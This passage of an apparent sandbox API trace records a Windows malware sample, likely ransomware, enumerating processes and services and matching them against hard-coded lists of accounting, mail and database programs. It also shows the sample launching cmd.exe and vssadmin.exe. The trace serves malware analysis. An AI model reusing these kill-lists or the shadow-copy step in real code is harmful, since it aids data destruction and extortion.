lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0050.985] lstrlenW (lpString="System") returned 6 [0050.985] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0050.985] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0050.985] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0050.985] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0050.985] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0050.985] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0050.985] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0050.985] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0050.985] lstrlenW (lpString="smss.exe") returned 8 [0050.985] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0050.985] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0050.986] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0050.986] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0050.986] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0050.986] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0050.986] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0050.986] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.986] lstrlenW (lpString="csrss.exe") returned 9 [0050.986] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0050.986] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0050.986] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0050.986] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0050.986] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0050.986] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0050.986] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0050.986] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0050.986] lstrlenW (lpString="wininit.exe") returned 11 [0050.986] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0050.986] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0050.987] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0050.987] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.987] lstrlenW (lpString="csrss.exe") returned 9 [0050.987] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0050.987] lstrlenW (lpString="winlogon.exe") returned 12 [0050.987] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0050.988] lstrlenW (lpString="services.exe") returned 12 [0050.988] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0050.988] lstrlenW (lpString="lsass.exe") returned 9 [0050.988] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0050.988] lstrlenW (lpString="lsm.exe") returned 7 [0050.988] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.988] lstrlenW (lpString="svchost.exe") returned 11 [0050.988] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.989] lstrlenW (lpString="svchost.exe") returned 11 [0050.989] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.989] lstrlenW (lpString="svchost.exe") returned 11 [0050.989] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.989] lstrlenW (lpString="svchost.exe") returned 11 [0050.989] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.990] lstrlenW (lpString="svchost.exe") returned 11 [0050.990] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0050.990] lstrlenW (lpString="audiodg.exe") returned 11 [0050.990] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.990] lstrlenW (lpString="svchost.exe") returned 11 [0050.990] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.991] lstrlenW (lpString="svchost.exe") returned 11 [0050.991] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0050.991] lstrlenW (lpString="dwm.exe") returned 7 [0050.991] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0050.991] lstrlenW (lpString="explorer.exe") returned 12 [0050.991] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0050.991] lstrlenW (lpString="spoolsv.exe") returned 11 [0050.992] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0050.992] lstrlenW (lpString="taskhost.exe") returned 12 [0050.992] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.992] lstrlenW (lpString="svchost.exe") returned 11 [0050.992] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0050.992] lstrlenW (lpString="taskeng.exe") returned 11 [0050.992] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0050.993] lstrlenW (lpString="taskhost.exe") returned 12 [0050.993] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0050.993] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0050.993] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0050.993] lstrlenW (lpString="noticed.exe") returned 11 [0050.993] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0050.994] lstrlenW (lpString="uploaded.exe") returned 12 [0050.994] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0050.994] lstrlenW (lpString="hardware.exe") returned 12 [0050.994] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0050.994] lstrlenW (lpString="oracle.exe") returned 10 [0050.994] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0050.995] lstrlenW (lpString="creativity.exe") returned 14 [0050.995] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0050.995] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0050.995] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0050.995] lstrlenW (lpString="edited.exe") returned 10 [0050.995] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0050.995] lstrlenW (lpString="custody.exe") returned 11 [0050.995] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0050.996] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0050.996] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0050.996] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0050.996] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0050.996] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0050.996] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0050.997] lstrlenW (lpString="radius.exe") returned 10 [0050.997] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0050.997] lstrlenW (lpString="extensions.exe") returned 14 [0050.997] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0050.997] lstrlenW (lpString="desperate.exe") returned 13 [0050.997] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0050.998] lstrlenW (lpString="professor-mo.exe") returned 16 [0050.998] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0050.998] lstrlenW (lpString="guidance.exe") returned 12 [0050.998] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0050.998] lstrlenW (lpString="week.exe") returned 8 [0050.998] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0050.998] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0050.998] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0050.999] lstrlenW (lpString="sn featured.exe") returned 15 [0050.999] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0050.999] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0050.999] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0050.999] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0050.999] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0051.000] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0051.000] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0051.000] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0051.000] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0051.000] lstrlenW (lpString="cmd.exe") returned 7 [0051.001] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0051.002] lstrlenW (lpString="conhost.exe") returned 11 [0051.002] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0051.003] lstrlenW (lpString="vssadmin.exe") returned 12 [0051.003] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0051.003] lstrlenW (lpString="VSSVC.exe") returned 9 [0051.003] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.003] lstrlenW (lpString="svchost.exe") returned 11 [0051.003] Process32NextW (in: hSnapshot=0x340, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0051.003] CloseHandle (hObject=0x340) returned 1 [0051.004] Sleep (dwMilliseconds=0x1f4) [0051.666] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297ae0 [0051.667] EnumServicesStatusExW (in: hSCManager=0x3297ae0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0051.668] GetLastError () returned 0xea [0051.668] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x12c6) returned 0x4e800a8 [0051.668] EnumServicesStatusExW (in: hSCManager=0x3297ae0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4e800a8, cbBufSize=0x12c6, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4e800a8, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0051.668] CloseServiceHandle (hSCObject=0x3297ae0) returned 1 [0051.668] lstrlenW (lpString="Appinfo") returned 7 [0051.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0051.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0051.668] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0051.669] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0051.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0051.669] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0051.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0051.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0051.669] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0051.669] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0051.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0051.669] lstrlenW (lpString="AudioSrv") returned 8 [0051.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0051.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0051.669] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0051.669] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0051.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0051.669] lstrlenW (lpString="BFE") returned 3 [0051.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0051.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0051.669] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0051.669] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0051.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0051.669] lstrlenW (lpString="CryptSvc") returned 8 [0051.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0051.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0051.669] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0051.669] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0051.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0051.669] lstrlenW (lpString="CscService") returned 10 [0051.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0051.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0051.669] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0051.670] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0051.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0051.670] lstrlenW (lpString="DcomLaunch") returned 10 [0051.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0051.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0051.670] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0051.670] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0051.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0051.670] lstrlenW (lpString="Dhcp") returned 4 [0051.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0051.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 